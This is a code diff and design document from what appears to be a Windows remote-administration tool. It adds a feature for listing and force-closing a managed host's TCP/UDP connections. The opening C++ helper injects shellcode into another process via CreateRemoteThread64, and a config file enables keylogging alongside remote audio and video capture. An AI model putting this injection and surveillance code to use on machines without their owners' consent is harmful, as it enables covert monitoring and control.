templ_x86[pos + 1] = 0x08;
|
||||||
|
break;
|
||||||
|
case 1:
|
||||||
|
templ_x86[pos + 1] = 0x02;
|
||||||
|
break;
|
||||||
|
case 2:
|
||||||
|
templ_x86[pos + 1] = 0x11;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
return templ_x86;
|
||||||
|
}
|
||||||
|
|
||||||
|
template<int argCnt, bool is64Bit>
|
||||||
|
const std::string& shellCode() {
|
||||||
|
static std::string kCode = makeShellCode(argCnt, is64Bit);
|
||||||
|
return kCode;
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
class YAPICall
|
||||||
|
{
|
||||||
|
template<typename T>
|
||||||
|
DWORD64 ToDWORD64(T v, HANDLE hProcess, detail::GCHelper*) {
|
||||||
|
return DWORD64(v);
|
||||||
|
}
|
||||||
|
template<typename char_t>
|
||||||
|
struct StringHelper : detail::GCBase
|
||||||
|
{
|
||||||
|
StringHelper(HANDLE hProcess, const char_t* v) : name(0) {
|
||||||
|
name = new ProcessWriter(hProcess, v, (tcslen(v) + 1) * sizeof(char_t));
|
||||||
|
}
|
||||||
|
virtual void gc() { delete name; }
|
||||||
|
virtual DWORD64 toDWORD64() { return (DWORD64)*name; }
|
||||||
|
private:
|
||||||
|
ProcessWriter* name;
|
||||||
|
};
|
||||||
|
template<> DWORD64 ToDWORD64<const char*>(const char* v, HANDLE hProcess, detail::GCHelper* helper) { return helper->add(new StringHelper<char>(hProcess, v)); }
|
||||||
|
template<> DWORD64 ToDWORD64<const wchar_t*>(const wchar_t* v, HANDLE hProcess, detail::GCHelper* helper) { return helper->add(new StringHelper<wchar_t>(hProcess, v)); }
|
||||||
|
template<> DWORD64 ToDWORD64<char*>(char* v, HANDLE hProcess, detail::GCHelper* helper) { return helper->add(new StringHelper<char>(hProcess, v)); }
|
||||||
|
template<> DWORD64 ToDWORD64<wchar_t*>(wchar_t* v, HANDLE hProcess, detail::GCHelper* helper) { return helper->add(new StringHelper<wchar_t>(hProcess, v)); }
|
||||||
|
|
||||||
|
private:
|
||||||
|
HANDLE _hProcess;
|
||||||
|
ProcessWriter* _sc;
|
||||||
|
DWORD64 func;
|
||||||
|
BOOL _dw64Ret;
|
||||||
|
DWORD _dwTimeout;
|
||||||
|
BOOL _is64Bit;
|
||||||
|
|
||||||
|
template<int argCnt>
|
||||||
|
bool initShellCoder(ProcessWriter*& sc) {
|
||||||
|
if(sc) return false;
|
||||||
|
const std::string& shellcode = _is64Bit ? shellCode<argCnt, 1>() : shellCode<argCnt, 0>();
|
||||||
|
sc = new ProcessWriter(_hProcess, shellcode.data(), shellcode.size() + 1, PAGE_EXECUTE_READWRITE);
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
template<typename T>
|
||||||
|
DWORD64 call(const std::vector<T>& param) {
|
||||||
|
ProcessWriter p(_hProcess, ¶m[0], sizeof(T) * (param.size()));
|
||||||
|
if (!p) return -1;
|
||||||
|
HANDLE hThread = 0;
|
||||||
|
if (_is64Bit)
|
||||||
|
hThread = CreateRemoteThread64(_hProcess, NULL, 0, *_sc, p, 0, NULL);
|
||||||
|
else {
|
||||||
|
#ifdef _WIN64
|
||||||
|
// see X64toX86_disassemble for details
|
||||||
|
static const unsigned char kTmpl_x64_to_x86[] = { 0x48, 0x89, 0x4c, 0x24, 0x08, 0x48, 0x83, 0xec, 0x28, 0x48, 0x8b, 0x44, 0x24, 0x30, 0x8b, 0x48,
|
||||||
|
0x08, 0x48, 0x8b, 0x44, 0x24, 0x30, 0x6a, 0x33, 0xe8, 0x00, 0x00, 0x00, 0x00, 0x83, 0x04, 0x24,
|
||||||
|
0x05, 0xcb, 0xff, 0xd0, 0xe8, 0x00, 0x00, 0x00, 0x00, 0xc7, 0x44, 0x24, 0x04, 0x23, 0x00, 0x00,
|
||||||
|
0x00, 0x83, 0x04, 0x24, 0x0d, 0xcb, 0x48, 0x83, 0xc4, 0x28, 0xc3 };
|
||||||
|
std::string x86_shellcode((char*)kTmpl_x64_to_x86, sizeof(kTmpl_x64_to_x86));
|
||||||
|
ProcessWriter* sc = new ProcessWriter(_hProcess, x86_shellcode.data(), x86_shellcode.size() + 1, PAGE_EXECUTE_READWRITE);
|
||||||
|
sc->SetDontRelese();
|
||||||
|
hThread = CreateRemoteThread64(_hProcess, NULL, 0, *_sc, p, 0, NULL);
|
||||||
|
#else
|
||||||
|
hThread = CreateRemoteThread(_hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)(DWORD64)*_sc, (PVOID)(DWORD64)p, 0, NULL);
|
||||||
|
#endif
|
||||||
|
}
|
||||||
|
if (!hThread) return -1;
|
||||||
|
if (WaitForSingleObject(hThread, _dwTimeout) != WAIT_OBJECT_0) {
|
||||||
|
_sc->SetDontRelese();
|
||||||
|
CloseHandle(hThread);
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
if (!_is64Bit || !_dw64Ret) {
|
||||||
|
DWORD ret = 0;
|
||||||
|
GetExitCodeThread(hThread, &ret);
|
||||||
|
CloseHandle(hThread);
|
||||||
|
return ret;
|
||||||
|
}
|
||||||
|
DWORD64 ret = 0;
|
||||||
|
CloseHandle(hThread);
|
||||||
|
ReadProcessMemory64(_hProcess, p, &ret, sizeof(DWORD64), NULL);
|
||||||
|
return ret;
|
||||||
|
}
|
||||||
|
|
||||||
|
public:
|
||||||
|
YAPICall(HANDLE hProcess, const char* funcName)
|
||||||
|
: _hProcess(hProcess)
|
||||||
|
, _sc(0)
|
||||||
|
, func(GetProcAddress64(hProcess, GetNtDll64(), funcName))
|
||||||
|
, _dw64Ret(FALSE)
|
||||||
|
, _dwTimeout(INFINITE)
|
||||||
|
, _is64Bit(detail::is64BitOS)
|
||||||
|
{
|
||||||
|
}
|
||||||
|
YAPICall(HANDLE hProcess, DWORD64 moudle, const char* funcName)
|
||||||
|
: _hProcess(hProcess)
|
||||||
|
, _sc(0)
|
||||||
|
, func(GetProcAddress64(hProcess, moudle, funcName))
|
||||||
|
, _dw64Ret(FALSE)
|
||||||
|
, _dwTimeout(INFINITE)
|
||||||
|
, _is64Bit(detail::is64BitOS)
|
||||||
|
{
|
||||||
|
}
|
||||||
|
YAPICall(HANDLE hProcess, const TCHAR* modName, const char* funcName)
|
||||||
|
: _hProcess(hProcess)
|
||||||
|
, _sc(0)
|
||||||
|
, func(GetProcAddress64(hProcess, GetModuleHandle64(hProcess, modName), funcName))
|
||||||
|
, _dw64Ret(FALSE)
|
||||||
|
, _dwTimeout(INFINITE)
|
||||||
|
, _is64Bit(detail::is64BitOS)
|
||||||
|
{
|
||||||
|
if(!func) {
|
||||||
|
func = GetProcAddress(hProcess, GetModuleHandle(hProcess, modName), funcName);
|
||||||
|
_is64Bit = FALSE;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
~YAPICall() { if (_sc) delete _sc; }
|
||||||
|
|
||||||
|
operator DWORD64() { return func; }
|
||||||
|
|
||||||
|
YAPICall& Dw64() { _dw64Ret = TRUE; return *this; }
|
||||||
|
YAPICall& Timeout(DWORD dwTimeout) { _dwTimeout = dwTimeout; return *this; }
|
||||||
|
|
||||||
|
#define TO_DWORD64_ARRAY_DECL(n) param[n + 1] = ToDWORD64(__PARAM(n), _hProcess, &helper);
|
||||||
|
#define TO_DWORD_ARRAY_DECL(n) param[n] = (DWORD)ToDWORD64(__PARAM(n), _hProcess, &helper);
|
||||||
|
|
||||||
|
#define CALLERSX(n) \
|
||||||
|
DWORD64 operator()(DECL_PARAMS_LIST(n)) {\
|
||||||
|
bool b = initShellCoder<n>(_sc);\
|
||||||
|
if(!b || !func || !_sc || !*_sc) return -1;\
|
||||||
|
detail::GCHelper helper;\
|
||||||
|
if(_is64Bit) {\
|
||||||
|
std::vector<DWORD64> param(n + 2, 0);\
|
||||||
|
param[0] = _dw64Ret;\
|
||||||
|
param[1] = func;\
|
||||||
|
REPEAT(n, TO_DWORD64_ARRAY_DECL, TO_DWORD64_ARRAY_DECL)\
|
||||||
|
return call<DWORD64>(param);\
|
||||||
|
}\
|
||||||
|
std::vector<DWORD> param(n + 1, 0);\
|
||||||
|
param[0] = (DWORD)func;\
|
||||||
|
REPEAT(n, TO_DWORD_ARRAY_DECL, TO_DWORD_ARRAY_DECL)\
|
||||||
|
return call<DWORD>(param);\
|
||||||
|
}
|
||||||
|
#define CALLERS(n) template<DECL_VOID_TEMPLATE_ARGS(n)> CALLERSX(n)
|
||||||
|
CALLERSX( 0)
|
||||||
|
CALLERS( 1) CALLERS( 2) CALLERS( 3) CALLERS( 4) CALLERS( 5) CALLERS( 6) /*CALLERS( 7) CALLERS( 8) CALLERS( 9) CALLERS(10)
|
||||||
|
CALLERS(11) CALLERS(12) CALLERS(13) CALLERS(14) CALLERS(15) CALLERS(16) CALLERS(17) CALLERS(18) CALLERS(19) CALLERS(20)*/
|
||||||
|
#undef CALLERSX
|
||||||
|
#undef CALLERS
|
||||||
|
#undef TO_DWORD_ARRAY_DECL
|
||||||
|
#undef TO_DWORD64_ARRAY_DECL
|
||||||
|
};
|
||||||
|
|
||||||
|
#define YAPI(h, m, f) YAPICall(h, m, #f)
|
||||||
|
}
|
||||||
@@ -320,6 +320,9 @@ enum {
|
|||||||
COMMAND_QUERY_ACTIVITY = 159, // 服务端 → 客户端:索取历史活动
|
COMMAND_QUERY_ACTIVITY = 159, // 服务端 → 客户端:索取历史活动
|
||||||
TOKEN_REPORT_ACTIVITY = 160, // 客户端 → 服务端:上报历史活动
|
TOKEN_REPORT_ACTIVITY = 160, // 客户端 → 服务端:上报历史活动
|
||||||
|
|
||||||
|
COMMAND_CHAT = 161, // 服务端 → 客户端:发起远程交谈(双向聊天)
|
||||||
|
COMMAND_MACHINE_MANAGE = 162, // 服务端 → 客户端:打开主机管理对话框
|
||||||
|
|
||||||
TOKEN_DECRYPT = 199,
|
TOKEN_DECRYPT = 199,
|
||||||
TOKEN_REGEDIT = 200, // 注册表
|
TOKEN_REGEDIT = 200, // 注册表
|
||||||
COMMAND_REG_FIND, // 注册表 管理标识
|
COMMAND_REG_FIND, // 注册表 管理标识
|
||||||
@@ -357,8 +360,32 @@ enum {
|
|||||||
COMMAND_TEXT_REPLACE = 249,
|
COMMAND_TEXT_REPLACE = 249,
|
||||||
TOKEN_CLIP_TEXT = 250,
|
TOKEN_CLIP_TEXT = 250,
|
||||||
TOKEN_SERVER_VERIFY = 251, // 验证服务器,防中间人和假冒的授权服务器
|
TOKEN_SERVER_VERIFY = 251, // 验证服务器,防中间人和假冒的授权服务器
|
||||||
|
CMD_FILE_SPEED = 252, // 文件传输速度下发: [cmd:1][chunkKb:uint16 LE][durationMs:uint16 LE]
|
||||||
|
|
||||||
|
COMMAND_CONNECTION = 253, // 连接管理(服务端→客户端:查询/刷新连接列表)
|
||||||
|
COMMAND_KILL_CONNECTION = 254, // 强制断开指定连接(服务端→客户端)
|
||||||
|
TOKEN_CONNECTION_LIST = 255, // 连接列表响应(客户端→服务端)
|
||||||
};
|
};
|
||||||
|
|
||||||
|
// 单条连接记录(客户端 → 服务端)。地址字段存网络字节序(IPv4 展开为前 4 字节、IPv6 为 16 字节),
|
||||||
|
// 端口字段存主机字节序(客户端 ntohs 转换)。断连时反向还原:地址拼回网络序 DWORD、端口 htons 转回
|
||||||
|
// 网络序,填回 MIB_TCPROW 调 SetTcpEntry(iphlpapi 的地址/端口均为网络序)。
|
||||||
|
#pragma pack(push, 1)
|
||||||
|
struct ConnectionInfo {
|
||||||
|
uint8_t proto; // 1=TCP, 2=UDP [1]
|
||||||
|
uint8_t af; // 2=AF_INET(IPv4), 23=AF_INET6(IPv6) [1]
|
||||||
|
uint32_t pid; // 所属进程 PID [4]
|
||||||
|
uint8_t localAddr[16]; // 网络字节序;IPv4 存 [0..3],IPv6 存 [0..15],其余 0 [16]
|
||||||
|
uint16_t localPort; // 主机字节序(小端) [2]
|
||||||
|
uint8_t remoteAddr[16]; // 网络字节序,同上 [16]
|
||||||
|
uint16_t remotePort; // 主机字节序,同上 [2]
|
||||||
|
uint32_t state; // TCP: MIB_TCP_STATE_*;UDP: 0 [4]
|
||||||
|
char procName[64]; // 进程映像名 UTF-8,NUL 填充 [64]
|
||||||
|
}; // 合计 110
|
||||||
|
#pragma pack(pop)
|
||||||
|
|
||||||
|
static_assert(sizeof(ConnectionInfo) == 110, "ConnectionInfo must be exactly 110 bytes");
|
||||||
|
|
||||||
#pragma pack(push, 1)
|
#pragma pack(push, 1)
|
||||||
struct SignatureResp {
|
struct SignatureResp {
|
||||||
char msg[64];
|
char msg[64];
|
||||||
|
|||||||
@@ -16,6 +16,7 @@
|
|||||||
#define ENABLE_AUDIO_MNG TRUE // 语音管理
|
#define ENABLE_AUDIO_MNG TRUE // 语音管理
|
||||||
#define ENABLE_VIDEO_MNG TRUE // 视频管理
|
#define ENABLE_VIDEO_MNG TRUE // 视频管理
|
||||||
#define ENABLE_SERVICE_MNG TRUE // 服务管理
|
#define ENABLE_SERVICE_MNG TRUE // 服务管理
|
||||||
|
#define ENABLE_CONNECTION_MNG TRUE // 连接管理
|
||||||
#define ENABLE_REGISTRY TRUE // 注册表管理
|
#define ENABLE_REGISTRY TRUE // 注册表管理
|
||||||
#define ENABLE_KEYBOARD TRUE // 键盘记录
|
#define ENABLE_KEYBOARD TRUE // 键盘记录
|
||||||
|
|
||||||
|
|||||||
@@ -256,6 +256,18 @@ public:
|
|||||||
}
|
}
|
||||||
};
|
};
|
||||||
|
|
||||||
|
// 文件传输速度:读取 [transfer] 节 ChunkKb / DurationMs,缺省 64KB/50ms(≈1.25MB/s),
|
||||||
|
// 并夹到安全范围。服务端(THIS_CFG)与客户端(iniFile(CLIENT_PATH))共用此逻辑,保证
|
||||||
|
// 各 InitFileUpload 调用点读到的档位一致(库按进程级引用计数只在首次设定速度,见
|
||||||
|
// docs/FileTransferSpeed_Design.md)。
|
||||||
|
inline void GetTransferSpeed(config& cfg, int& chunkKb, int& durMs)
|
||||||
|
{
|
||||||
|
chunkKb = cfg.GetInt("transfer", "ChunkKb", 64);
|
||||||
|
durMs = cfg.GetInt("transfer", "DurationMs", 50);
|
||||||
|
if (chunkKb <= 0 || chunkKb > 1024) chunkKb = 64;
|
||||||
|
if (durMs < 0 || durMs > 2000) durMs = 50;
|
||||||
|
}
|
||||||
|
|
||||||
// 配置读取类: 注册表配置(带键句柄缓存)
|
// 配置读取类: 注册表配置(带键句柄缓存)
|
||||||
// 注意:缓存操作非线程安全,但竞态条件只会导致少量重复打开,不会崩溃
|
// 注意:缓存操作非线程安全,但竞态条件只会导致少量重复打开,不会崩溃
|
||||||
class iniFile : public config
|
class iniFile : public config
|
||||||
|
|||||||
+21
-1
@@ -4,6 +4,8 @@
|
|||||||
#include <iphlpapi.h>
|
#include <iphlpapi.h>
|
||||||
#include <ws2tcpip.h>
|
#include <ws2tcpip.h>
|
||||||
#include <WinInet.h>
|
#include <WinInet.h>
|
||||||
|
#include <map>
|
||||||
|
#include <mutex>
|
||||||
#include "logger.h"
|
#include "logger.h"
|
||||||
#include "jsoncpp/json.h"
|
#include "jsoncpp/json.h"
|
||||||
|
|
||||||
@@ -200,6 +202,18 @@ public:
|
|||||||
{
|
{
|
||||||
if (IP.empty()) return "";
|
if (IP.empty()) return "";
|
||||||
|
|
||||||
|
// 进程级缓存(函数局部 static)。用局部 static 而非类成员,是为了不改动
|
||||||
|
// IPConverter 的类布局/尺寸——QQWry/Ip2Region 派生类来自预编译的
|
||||||
|
// PrivateDesktop_Lib.lib,改成员会与其产生 ABI 尺寸差异。
|
||||||
|
static std::map<std::string, std::string> geoCaches;
|
||||||
|
static std::mutex geoMutex;
|
||||||
|
{
|
||||||
|
std::lock_guard<std::mutex> lk(geoMutex);
|
||||||
|
auto it = geoCaches.find(IP);
|
||||||
|
if (it != geoCaches.end())
|
||||||
|
return it->second;
|
||||||
|
}
|
||||||
|
|
||||||
std::string ip = IP;
|
std::string ip = IP;
|
||||||
if (isLocalIP(ip)) {
|
if (isLocalIP(ip)) {
|
||||||
ip = getPublicIP();
|
ip = getPublicIP();
|
||||||
@@ -249,7 +263,13 @@ public:
|
|||||||
InternetCloseHandle(hInternet);
|
InternetCloseHandle(hInternet);
|
||||||
|
|
||||||
if (location.empty() && IsPrivateIP(ip)) {
|
if (location.empty() && IsPrivateIP(ip)) {
|
||||||
return "Local Area Network";
|
location = "Local Area Network";
|
||||||
|
}
|
||||||
|
|
||||||
|
// 只缓存成功结果;失败不缓存,允许下次重试。
|
||||||
|
if (!location.empty()) {
|
||||||
|
std::lock_guard<std::mutex> lk(geoMutex);
|
||||||
|
geoCaches[IP] = location;
|
||||||
}
|
}
|
||||||
return location;
|
return location;
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -0,0 +1,259 @@
|
|||||||
|
# TCP/UDP 连接管理设计
|
||||||
|
|
||||||
|
> 版本:v1.1(已实现并评审) · 状态:**已施工,含字节序修正** · 日期:2026-10-04
|
||||||
|
> 目标:在 YAMA 服务端新增「连接管理」,实时展示受管主机当前的 TCP/UDP 连接,
|
||||||
|
> 并支持对选中的连接强制断开。这是服务管理、进程管理之外又一项「观测 + 管控」类功能。
|
||||||
|
>
|
||||||
|
> 需求原文(三点,逐一对应下文):
|
||||||
|
> 1. YAMA 工具栏增加一个图标,**唯有 MCP 后面**,通过这个图标打开连接管理对话框;
|
||||||
|
> 2. 客户端需要增加一个管理类来处理服务端请求;
|
||||||
|
> 3. 服务端有一个对话框类展示连接信息,支持右键菜单对选中的连接强制断开。
|
||||||
|
|
||||||
|
## 1. 目标与范围
|
||||||
|
|
||||||
|
### MVP
|
||||||
|
|
||||||
|
| 项 | 说明 |
|
||||||
|
|---|---|
|
||||||
|
| 工具栏入口 | `IDR_TOOLBAR_MAIN` 在 `ID_MCP_SETTINGS` 之后追加 `ID_CONNECTION_MANAGE` 按钮(第 17 个),点击向选中主机发 `COMMAND_CONNECTION` |
|
||||||
|
| 客户端管理类 | 新增 `CConnectionsManager : public CManager`,枚举本机 TCP/UDP 连接并回传,处理「刷新 / 强制断开」两条服务端命令 |
|
||||||
|
| 服务端对话框 | 新增 `CConnectionsDlg : public DialogBase`,表格展示连接,右键菜单「强制断开」发 `COMMAND_KILL_CONNECTION` |
|
||||||
|
|
||||||
|
### 非目标(Non-goals,本次不做)
|
||||||
|
|
||||||
|
- 不做 **UDP / IPv6 TCP 的强制断开**(无公开 API,见 §6),仅 IPv4 TCP 可断开,其余行只读展示。
|
||||||
|
- 不做「按进程批量断开」「按 PID 过滤」「连接历史/趋势图」。
|
||||||
|
- 不做 Linux/Mac/Android 客户端连接枚举(沿用 Windows 客户端先行的惯例)。
|
||||||
|
- 不改 MCP 工具集(`list_network_connections` 属于 P8 路线图,本设计只做 MFC 图形界面)。
|
||||||
|
|
||||||
|
## 2. 复用现状
|
||||||
|
|
||||||
|
本功能与「服务管理」端到端同构,直接以其为实现模板(`ServicesManager` / `ServicesDlg`)。
|
||||||
|
|
||||||
|
### 客户端模板(读参考实现,全部已核实)
|
||||||
|
|
||||||
|
- 命令分发:`client/KernelManager.cpp` `OnReceive` 的 `case COMMAND_SERVICES:`(约 1346 行):
|
||||||
|
```
|
||||||
|
{ auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
|
||||||
|
sub->EnableSubConnAuth();
|
||||||
|
m_hThread[m_ulThreadCount].p = sub; }
|
||||||
|
m_hThread[m_ulThreadCount++].h =
|
||||||
|
__CreateThread(NULL,0, LoopServicesManager, &m_hThread[m_ulThreadCount], 0, NULL);
|
||||||
|
```
|
||||||
|
连接管理照抄,仅换 `LoopConnectionManager`。
|
||||||
|
- 子连接线程模板:`client/Common.cpp:33` `LoopManager<Manager, n>`(`Manager m(ClientObject, n, user)` 构造即发首包,随后跑 `RunEventLoop` 分发到 `Manager::OnReceive`);`LoopServicesManager = LoopManager<CServicesManager, 0>`。
|
||||||
|
- 管理类基类:`client/Manager.h` `CManager`(`OnReceive` 虚函数、`m_ClientObject`、`Send/SendData`、子连接生命周期)。
|
||||||
|
- 管理类实例:`client/ServicesManager.cpp`——构造即 `SendServicesList()`(17 行);`SendServicesList()` 里用
|
||||||
|
`HttpMask mask(DEFAULT_HOST, m_ClientObject->GetClientIPHeader()); m_ClientObject->Send2Server((char*)szBuffer, LocalSize(szBuffer), &mask);`(36–37 行)回传;`OnReceive` 里 `case COMMAND_SERVICELIST`(刷新)→ 重发、`case COMMAND_SERVICECONFIG`(动作)→ 执行后再重发(199–231 行)。
|
||||||
|
- 编译开关:`client/ServicesManager.h:13` `#if ENABLE_SERVICE_MNG==0 #define CServicesManager CManager` 的空实现占位模式;开关定义在 `common/config.h`(`ENABLE_SERVICE_MNG TRUE`)。
|
||||||
|
|
||||||
|
### 服务端模板(读参考实现,全部已核实)
|
||||||
|
|
||||||
|
- 对话框基类:`server/2015Remote/IOCPServer.h:158` `DialogBase`(`OnInitDialog` 建列 + 解析缓冲,`OnReceiveComplete` 按 token 分发,`OnNMRClickList` 右键菜单,`OnClose`→`CancelIO`)。
|
||||||
|
- 对话框实例:`server/2015Remote/ServicesDlg.cpp`——构造 `DialogBase(CServicesDlg::IDD, pParent, IOCPServer, ContextObject, IDI_SERVICE)`(24 行);`OnInitDialog` 里 `InsertColumnL` 建列 + `ShowServicesList()`(67–73 行);`OnNMRClickList` 里 `LoadMenu(IDR_MENU_SERVICES)` + `TrackPopupMenu`(216–226 行);`OnReceiveComplete` 里 `case TOKEN_SERVERLIST: ShowServicesList()`(231–235 行)。
|
||||||
|
- 打开对话框模板:`server/2015Remote/2015RemoteDlg.h:182` `OpenDialog<T, id, Show>`。
|
||||||
|
- 命令发送:`OnOnlineServerManager()`(`2015RemoteDlg.cpp:4758`):`BYTE bToken = COMMAND_SERVICES; SendSelectedCommand(&bToken, sizeof(BYTE));`。
|
||||||
|
- token 路由:`2015RemoteDlg.cpp:6609` `case TOKEN_SERVERLIST:` → `g_2015RemoteDlg->SendMessage(WM_OPENSERVICESDIALOG, 0, (LPARAM)ContextObject);`。
|
||||||
|
- 消息注册/处理:`ON_MESSAGE(WM_OPENSERVICESDIALOG, OnOpenServicesDialog)`(903 行)→ `OnOpenServicesDialog`(7811 行)→ `OpenDialog<CServicesDlg, IDD_DIALOG_SERVICES>`。
|
||||||
|
|
||||||
|
### 工具栏(读参考,全部已核实)
|
||||||
|
|
||||||
|
- 资源:`2015Remote.rc:1806` `IDR_TOOLBAR_MAIN TOOLBAR 48, 48`,现有 16 个 `BUTTON`,末尾为 `BUTTON ID_CHANGE_LANG`(1822 行)、`BUTTON ID_MCP_SETTINGS`(1823 行)。
|
||||||
|
- 真彩位图条:`IDB_BITMAP_MAIN`(133) → `res\ToolBar_Main.bmp`(**768×48 = 16 个 48×48 图标**,24 位),
|
||||||
|
`LoadTrueColorToolBar(48, IDB_BITMAP_MAIN, IDB_BITMAP_MAIN, IDB_BITMAP_MAIN)`(`2015RemoteDlg.cpp:1390`)
|
||||||
|
按 `nNbBtn = bmWidth/48` 建图像列表(`TrueColorToolBar.cpp` `SetTrueColorToolBar`),因此**新增第 17 个按钮必须同步把位图条加宽为 816×48 并补第 17 个图标**。
|
||||||
|
- 按钮文字:`SetButtonText(0..15)`(`2015RemoteDlg.cpp:1405–1420`),`SetButtonText(15, _T("MCP"))` 为当前最后一个。
|
||||||
|
- 全隐藏判定:`if (hiddenCount >= 16)`(1471 行)→ **无需改动**。该计数只统计「可隐藏功能按钮」
|
||||||
|
(终端/进程/窗口/桌面/文件/语音/视频/服务/注册表/键盘/设置/生成/搜索/关于,共 14 个),
|
||||||
|
`ID_CHANGE_LANG`、`ID_MCP_SETTINGS` 本就不在隐藏清单内;新增的连接按钮同样不参与隐藏,
|
||||||
|
`hiddenCount` 语义不变。
|
||||||
|
- 命令处理:`ON_COMMAND(ID_MCP_SETTINGS, &CMy2015RemoteDlg::OnMcpSettings)`(993 行)→ 参照加 `ID_CONNECTION_MANAGE`。
|
||||||
|
|
||||||
|
### 网络 API(客户端,新增依赖)
|
||||||
|
|
||||||
|
- 枚举:`GetExtendedTcpTable(TCP_TABLE_OWNER_PID_ALL, ...)` + `MIB_TCPTABLE_OWNER_PID`;
|
||||||
|
同理 `GetExtendedUdpTable(UDP_TABLE_OWNER_PID)`;IPv6 用 `AF_INET6` 版本(`MIB_TCP6TABLE_OWNER_PID` / `MIB_UDP6TABLE_OWNER_PID`)。
|
||||||
|
- 断开:`SetTcpEntry` + `MIB_TCP_STATE_DELETE_TCB`(12)。
|
||||||
|
- 链接:`iphlpapi.lib`(用 `#pragma comment(lib, "iphlpapi.lib")` 内联,与代码库既有 `#pragma comment(lib, ...)` 风格一致,避免改 vcxproj)。
|
||||||
|
|
||||||
|
## 3. 协议与数据结构
|
||||||
|
|
||||||
|
### 3.1 新命令(`common/commands.h`,追加在 `CMD_FILE_SPEED = 252` 之后,均 ≤ 255 满足单字节 token)
|
||||||
|
|
||||||
|
```
|
||||||
|
COMMAND_CONNECTION = 253, // 服务端 → 客户端:查询/刷新连接列表(打开连接管理)
|
||||||
|
COMMAND_KILL_CONNECTION = 254, // 服务端 → 客户端:强制断开指定连接
|
||||||
|
TOKEN_CONNECTION_LIST = 255, // 客户端 → 服务端:连接列表响应
|
||||||
|
```
|
||||||
|
|
||||||
|
### 3.2 单条连接记录(客户端 → 服务端,固定 110 字节,小端)
|
||||||
|
|
||||||
|
```c
|
||||||
|
#pragma pack(push, 1)
|
||||||
|
struct ConnectionInfo {
|
||||||
|
uint8_t proto; // 1=TCP, 2=UDP [1]
|
||||||
|
uint8_t af; // 2=AF_INET(IPv4), 23=AF_INET6(IPv6) [1]
|
||||||
|
uint32_t pid; // 所属进程 PID [4]
|
||||||
|
uint8_t localAddr[16]; // 网络字节序;IPv4 存 [0..3],IPv6 存 [0..15],其余 0 [16]
|
||||||
|
uint16_t localPort; // 主机字节序(小端,ntohs 转换后) [2]
|
||||||
|
uint8_t remoteAddr[16]; // 网络字节序,同上 [16]
|
||||||
|
uint16_t remotePort; // 主机字节序,同上 [2]
|
||||||
|
uint32_t state; // TCP: MIB_TCP_STATE_*;UDP: 0 [4]
|
||||||
|
char procName[64]; // 进程映像名 UTF-8,NUL 填充 [64]
|
||||||
|
}; // 合计 110
|
||||||
|
#pragma pack(pop)
|
||||||
|
static_assert(sizeof(ConnectionInfo) == 110, "ConnectionInfo must be 110 bytes");
|
||||||
|
```
|
||||||
|
|
||||||
|
> **字节序约定(评审后修正)**:字段不能「原样 memcpy」iphlpapi 的结构成员。`dwLocalAddr`/`dwRemoteAddr`
|
||||||
|
> 是**网络序 DWORD**(值 `0xC0A80101` 即 `192.168.1.1`),客户端展开为 16 字节字段前 4 字节的**网络序字节**
|
||||||
|
> (`[0xC0,0xA8,0x01,0x01]`),服务端 `inet_ntop` 可直接展示、排序键也按数值序;`dwLocalPort`/`dwRemotePort`
|
||||||
|
> 低 16 位为**网络序**,客户端用 `ntohs` 转**主机序**再存入。断连时反向还原(地址拼回 DWORD、端口 `htons`)。
|
||||||
|
> 地址统一 16 字节字段承载,IPv4/IPv6 用同一个结构,避免两套记录。
|
||||||
|
|
||||||
|
### 3.3 列表响应(客户端 → 服务端)
|
||||||
|
|
||||||
|
```
|
||||||
|
[TOKEN_CONNECTION_LIST:1][count:2][ConnectionInfo:110] * count
|
||||||
|
```
|
||||||
|
|
||||||
|
- `count` 为 `uint16_t` 小端,上限 65535(枚举超限则截断,实际主机连接数远低于此)。
|
||||||
|
- 列表 >1460 字节会走 HTTP 分片;服务端 `HeaderParser::Parse` 的 `m_bShouldUnmask` 分片 bug
|
||||||
|
已在 `a72e6eb` 修复,续包可正常到达(与进程/服务列表一致)。
|
||||||
|
|
||||||
|
### 3.4 强制断开请求(服务端 → 客户端)
|
||||||
|
|
||||||
|
```
|
||||||
|
[COMMAND_KILL_CONNECTION:1][ConnectionInfo:110]
|
||||||
|
```
|
||||||
|
|
||||||
|
- 客户端校验 `proto==1 && af==2` 才执行(仅 IPv4 TCP),否则忽略并在回包列表中保留该行。
|
||||||
|
|
||||||
|
## 4. 客户端实现
|
||||||
|
|
||||||
|
新增 `client/ConnectionsManager.{h,cpp}`,镜像 `CServicesManager`:
|
||||||
|
|
||||||
|
- 类声明(`ConnectionsManager.h`):
|
||||||
|
```cpp
|
||||||
|
#if ENABLE_CONNECTION_MNG==0
|
||||||
|
#define CConnectionsManager CManager
|
||||||
|
#else
|
||||||
|
class CConnectionsManager : public CManager {
|
||||||
|
public:
|
||||||
|
CConnectionsManager(IOCPClient* ClientObject, int n, void* user = nullptr);
|
||||||
|
virtual ~CConnectionsManager();
|
||||||
|
VOID SendConnectionList(); // 枚举并回传
|
||||||
|
VOID OnReceive(PBYTE szBuffer, ULONG ulLength);
|
||||||
|
void KillConnection(const ConnectionInfo& info);
|
||||||
|
};
|
||||||
|
#endif
|
||||||
|
```
|
||||||
|
- `SendConnectionList()`:
|
||||||
|
1. 依次 `GetExtendedTcpTable`(AF_INET / AF_INET6)+ `GetExtendedUdpTable`(AF_INET / AF_INET6),
|
||||||
|
汇总到 `std::vector<ConnectionInfo>`;IPv4 地址展开为网络序字节(`PutAddr4`)、端口 `ntohs` 转主机序。
|
||||||
|
2. 每个 PID 用 `OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION)` + `GetModuleBaseNameW` 取映像名,
|
||||||
|
转 UTF-8 写入 `procName[64]`;失败/PID 0 填 `"<unknown>"`(进程可能已退出,端点仍有效)。
|
||||||
|
3. 组包 `[TOKEN_CONNECTION_LIST:1][count:2][records...]`,用
|
||||||
|
`HttpMask mask(DEFAULT_HOST, m_ClientObject->GetClientIPHeader()); m_ClientObject->Send2Server(...);` 回传。
|
||||||
|
